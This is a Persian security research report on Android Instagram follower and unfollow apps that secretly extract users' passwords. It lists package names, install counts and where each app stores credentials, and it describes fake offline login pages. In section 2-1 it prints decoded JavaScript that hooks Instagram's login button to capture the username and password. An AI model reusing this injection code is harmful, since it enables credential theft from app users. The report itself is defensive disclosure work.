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 چکیده 1

 رمز عبورهای مختلف های زیادی با روشهمانطور که در بخش اول این مجموعه گزارش ذکر شد برنامه

ی یافت شد که از طریق همان یهاهای اینستاگرامی، برنامهبرند. در طول بررسی برنامهکاربران را به سرقت می

ها حتی پسورد را به صورت های سارق، پسورد کاربران را استخراج کرده و بسیاری از آنهای برنامهروش

ها یافت نشد. سورد به سروری به جز سرور اینستاگرام در آنکردند ولی شواهدی از ارسال پآشکار ذخیره می

دادند یا در داخل برنامه به کاربران اطمینان می هامارکتهای در صفحه توضیحاتشان در بسیاری از این برنامه

ها برنامهشود. بررسی این تاگرام ارسال مینسها مستقیما به ایها دسترسی ندارند و اطلاعات آنکه به پسورد آن

در هر ها به پسورد کاربران دسترسی دارند. داد که این برنامهنتایجی به جز این ادعا را در پی داشت و نشان می

ها خطر بالایی دارند و با توجه به اینکه پسورد اینستاگرام کاربر را در اختیار دارند، با یک صورت این برنامه

آمار با توجه به  ده، امکان سرقت پسورد به آسانی فراهم خواهد شد.دهنساده برنامه توسط توسعه روزرسانیبه

 .استتخمینی بیش از یک میلیون نفر  صورتبهها ، تعداد کاربران این برنامه نصب
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 رمز عبور کنندهاستخراجهای برنامه 2

اند از اینستاگرام آورده شده رمز عبوربه عنوان سارق  گزارشبخش اول مجموعهکه در  هاییهدر لیست برنام

به جای دیگری  رمز عبورکردند ولی شواهدی از ارسال خود کاربر را استخراج می رمز عبورهایی که برنامه

نامیم( در های استخراج کننده میرا برنامه هاآنها )که از این پس دیده نشد، صرف نظر شده است. این برنامه

کاربر را استخراج  رمز عبورها از طریق افزودن کدجاوااسکریپتی مه این برنامهشوند. تقریبا هادامه بررسی می

 توضیح داده شده است. در بخش اولکنند. این روش می

 زیر است: صورتبهها . لیست این برنامهنیز بیش از یک میلیون نصب استها میزان نصب این اپلیکیشن

 .زیر هستند صورتبهکنند را استخراج می عبوررمز هایی که با افزودن کدجاوااسکریپت برنامه

 

 نام بسته نام برنامه
حداقل 

 نصب
 بررسی

ranjbar.hadi.insta آنفالویاب اینستاگرام

plus 
 است ذخیره شده freakبا نام  برنامهرمز عبور در دیتابیس  500000

com.amgdroid.ins لایک گیر اینستاگرام

talike 
50000 

با نام  sharedPreferencesاطلاعات در 

UserAuthentication ذخیره شده است 

com.amgdroid.fol فالوئر گیر اینستاگرام

lowgir 
 shared preferencesدر  sh.xmlدر فایل  info_passبا نام  50000

com.instafollow.a آنفالویاب اینستاگرام

pplex 
 شودذخیره میصورت رمز شده رمز عبور استخراج شده و به 50000

فالوئر و لایک بگیر 

 )اینستا ممبر(

com.MOHSEN007

485.InstaFalower 
50000 

در  instamemberاطلاعات را در  حافظه گوشی در فولدر 

نام کاربری اینستاگرامی  usrکه   usr_login.xmlفایلی با نام  

 کندمیفرد است  ذخیره 

آنفالویاب همه کاره ) 

 اینستاتولز (

com.MOHSEN007

485.AnalizMembe

r 
20000 

با نام  sharedPreferencesاطلاعات در 

UserAuthentication است ذخیره شده 

com.pishroid.che آنفالویاب اینستاگرام

ckunfollowers 
20000 

با نام  sharedPreferencesاطلاعات در 

UserAuthentication است ذخیره شده 
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com.aplus_unfoll آنفالویاب اینستاگرام

ow_instagram 
20000 

با نام  sharedPreferencesاطلاعات در 

UserAuthentication_encrypted عادی  است ذخیره شده(

 و رمز نشده(

ranjbar.hadi.likest لایکستان ) لایک بگیر (

an 
 ذخیره شده است userدر جدول  likestan.dbدر دیتابیس  20000

com.uonfollwrs.in انفالویاب اینستاگرام

statolsy 
 کندبا توجه به کد استخراج می 20000

ir.rezamk.followm آنفالویاب اینستاگرام

anager 
 کندرمز عبور را رمزشده ذخیره می 20000

تاپ فالو | فالور بگیر 

 اینستگرام

ir.followertops.m

ohammad 
 شوددر دیتابیس ذخیره می 20000

آنفالویاب هوشمند 

 کاره )دانلودر(همه

com.example.ha

mid.unfollower 
 شودذخیره می setبا نام   sharedPreferencesاطلاعات در  20000

ir.novinsofts.follo فالویر بگیر اینستاگرام

wlike 
 شودصورت آشکار ذخیره میرمز عبور در دیتابیس برنامه به 20000

افزایش  -لایک کده

 لایک اینستاگرام

com.androidineh.

instacomment 
 کندرمز عبور را ذخیره می 20000

اینستافالوور فالوئر بگیر 

 اینستاگرام

com.androidineh.

instafollower 
 کندبا توجه به کد استخراج می 20000

افزایش فالوور و لایک 

 اینستاگرام

ir.novinsofts.fowl

owgir 
 کندبا توجه به کد استخراج می 20000

لایک و فالوئر بگیر 

 اینستا ) مَگنت (

com.magnet.sibro

id 
10000 

کند و ظاهرا رمز شده در با توجه به کد استخراج می

sharedPreferences ذخیره کرده 

 کندبا توجه به کد استخراج می ir.followergir 10000 فالوور گیر اینستاگرام

فالوئر بگیر اینستاگرام 

 )فالوکده(

ir.rubin.FollowKa

deh 
 کندرمز عبور رو ذخیره می 10000

net.ranjbar.follow مگافالور )فالور بگیر(

erbegir 
 کندبا توجه به کد استخراج می 10000

ir.unfollowyab.m آنفالویاب اینستاگرام

ahmood 
 کندبا توجه به کد استخراج می 5000

com.developer.co انفالویاب اینستاگرام

meback 
 کندتوجه به کد استخراج می با 5000
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توربوفالوئر/فالوور بگیر 

 و لایک بگیر

mmz.negaroid.tor

bofollowers 
 کندبا توجه به کد استخراج می 5000

افزایش فالوور و لایک 

 اینستگرام

com.negahetazeh

co.NeoInstagram 
 کندبا توجه به کد استخراج می 5000

سوپر اینستا : افزایش 

 لایکفالوئر و 

ir.unclemilad.inst

afollower 
 کندبا توجه به کد استخراج می 5000

فن پلاس )فالوئر بگیر 

 اینستاگرام(
ir.rezamk.fanplus 2000 کندبا توجه به کد استخراج می 

.com.tooskagroup آنفالویاب اینستاگرام

checkunfollowers 
 کندرمز عبور ذخیره می 2000

آنفالویاب هوشمند 

 اینستاگرام

com.ajalyskonand

einsta 
 کندبا توجه به کد استخراج می 500

آنفالویاب پیشرفته 

 اینستاگرام

ir.instaunfollowya

b.sah 
 کندرمز عبور رو ذخیره می 500

افزایش  -توربولایک

 لایک اینستاگرام

com.rayan.turboli

ke 
 کندبا توجه به کد استخراج می 500

com.seven.annfo انفالویاب طلایی

wlloyabtalaei 
 کندرمز عبور رو ذخیره می 500

ir.followLike.Esla لایک کده-فالوربگیر

Hi 
 کندرمز عبور رو ذخیره می 500

unfollowyabi.sibr آنفالویاب اینستاگرام

oid 
 کندرمز عبور رو ذخیره می 200

لاکچری اینستا )فالوئر 

 و لایک بگیر(

com.delroid.insta

follower 
 کندبا توجه به کد استخراج می 200

فالور  -فالور استور 

 بگیر اینستاگرام

ir.parsapp.instagr

amtools 
 کندبا توجه به کد استخراج می 200

com.jahansoft1.u آنفالویاب اینستا

nfollowww 
 کندرمز عبور رو ذخیره می 200

 

 جعلی طراحی شده مشابه با صفحه اصلی اینستاگرام دارند )صفحه آفلاین است(های زیر نیز صفحه برنامه
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 نام بسته نام برنامه
حداقل 

 نصب
 بررسی

فالوئر،  -کافه اینستا 

 لایک، کامنت

com.ghaleh.caf

einstagram 
100000 

بارگذاری  assetsآفلاین از فولدر  htmlیک صفحه 

 شود که مشابه صفحه اینستاگرام استمی

فالور و  -اینستا فالو

 لایک بگیر

ir.sourceandroi

d.instafollow 
 شودصفحه لاگین آفلاین جعلی نمایش داده می 2000

فالو و : اینستاپرو

 لایک بگیر اینستا

com.appline.ins

tapro 
 شودصفحه لاگین آفلاین جعلی نمایش داده می 500

 

های این دسته نیز سایر برنامه ذکر شده است. هانوع برنامه چند برنامه پرنصب از ایندر ادامه اطلاعات مربوط 

 کنند.ها عمل میمانند این برنامه

  آنفالویاب اینستاگرام  2-1

های در میان برنامه ترین برنامهدارد و ظاهرا پرنصب هامارکتدر  حدود پانصدهزار نصب فعالاین برنامه بین 

 اینستاگرامی است.

کاربر را  رمز عبور WebView دهد که این برنامه با افزودن کد جاوااسکریپت بهبررسی کد برنامه نشان می

کد شده است و  base64 صورتبه. برای پنهان کردن این کار، کد جاوااسکریپتی در برنامه کندمیاستخراج 

 های تصویر زیر مربوط به این مورد است:معمول قابل مشاهده نیست. رشته صورتبه
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 ( aiو  ah یهارشته) base64 صورتبهکد جاوااسکریپت  1شکل 

 زیر است: صورتبه ahدهد که ها نشان میدیکد کردن این رشته

javascript:var buttonsList = 

document.getElementsByTagName("button");var searchText = "Log 

in";for (var i = 0; i < buttonsList.length; i++) {if 

(buttonsList[i].textContent == searchText) 

{buttonsList[i].addEventListener("click", 

function(){console.log(document.querySelector('[aria-label="Phone 

number, username, or 

email"]').value+'bgmcde'+document.querySelector('[aria-

label="Password"]').value);});break;}} 
 

  زیر: صورتبه aiو 

 

javascript:if(document.getElementsByClassName('button-

green')[0]){document.getElementsByClassName('button-

green')[0].addEventListener("click", 

function(){ console.log(document.getElementById('id_username').val

ue+'bgmcde'+document.getElementById('id_password').value);})} 

 است. رمز عبورکه این کدها، همان کدهای لازم برای استخراج  

دهد که در دیتابیس این برنامه، در جدول های ذخیره شده توسط این برنامه نیز نشان میهمچنین بررسی داده

user  داده با نامfreak  اینستاگرام کاربر است. رمز عبورهمان 
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 اینستاگرام کاربر در دیتابیس برنامه رمز عبورذخیره  2شکل 

 برنامه کافه اینستا  2-2

آن متن  مارکتبازار دارد. در توضیحات صفحه هزار نصب فعال در کافهتا دویست صد هزاراین برنامه بین 

 زیر ذکر شده است:

 
 

 il.htmlشود. فایل می بارگذاریآفلاین  htmlبرنامه به جای صفحه اصلی لاگین اینستاگرام از یک صفحه این 

 شود.برای فریب کاربر استفاده می assetsدر پوشه 
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 assetsصفحه جعلی در پوشه  3شکل 

 

اینترنت دستگاه قطع شود، مشاهده همچنین صحت این ادعا به سادگی قابل بررسی است و کافیست اتصال 

صفحه  حالی کهخواهد کرد در  بارگذاریاینستا همچنان صفحه لاگین اینستاگرام را شود که برنامه کافهمی

 پذیر نیست.شود که بدون اینترنت امکان بارگذاریاصلی باید از سایت اینستاگرام 

 گیر اینستاگرام برنامه لایک 2-3

 نصب فعال دارد. صد هزار تا هزارپنجاه  این برنامه بین

 بررسی حداقل نصب نام بسته نام برنامه

.com.amgdroid لایک گیر اینستاگرام

instalike 
50000 

با نام  sharedPreferencesاطلاعات در 

UserAuthentication ذخیره شده است 

 

 این برنامه آمده است. مارکتتوضیح زیر در صفحه 

 
 .کندمیکاربر را استخراج کرده و ذخیره  رمز عبوراما برخلاف این ادعا این برنامه نام کاربری و 
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اینستاگرام کاربر را  رمز عبوراین برنامه با افزودن کد جاوااسکریپت به صفحه لاگین اینستاگرام نام کاربری و 

ذخیره  UserAuthenticationبا نام  sharedPreferences. این اطلاعات در کندمیاستخراج کرده و ذخیره 

 شود.می

 

 

 و نام کاربری رمز عبورذخیره  4شکل 

 

 گیرینتیجه 3

ها کردند. این برنامههایی پرداخته شد که پسورد اینستاگرام کاربر را استخراج میدر این گزارش به بررسی برنامه

اند یا شواهدی از این مورد هنوز پسورد کاربران را به سرقت نبردههای سارق دارند و خطر کمتری از برنامه

ذکر  بالا است. همانطور که در اولین گزارش این مجموعه همچنانها در دسترس نیست اما خطر این برنامه

برنامه که نیاز به لاگین اینستاگرام داشتند در طول تحقیق بررسی شدند که از این میان  100شده بود حدود 

ها مورد آن 40های باقیمانده نیز برند از میان برنامهها اطلاعات کاربران را به سرقت میمورد آن ش از پنجاهبی

د که به صورت دهکردند که در این گزارش بررسی شدند. این نتایج نشان میپسورد کاربران را استخراج می

این های مشابه خطرناک هستند و روی برنامه هامارکت های اینستاگرامیدرصد برنامه 90 حداقل حدودآماری 

 د نظارت بیشتری وجود داشته باشد. برای نظارت حداقلی لازم استگیرند بایقرار می هامارکتنوع روی 

مواردی که در این مجموعه گزارش ذکر شد )صفحه جعلی آفلاین و آنلاین و استخراج پسورد با کد جاوا 

 بررسی شوند.ا هپیش از انتشار برنامهاسکریپت( 


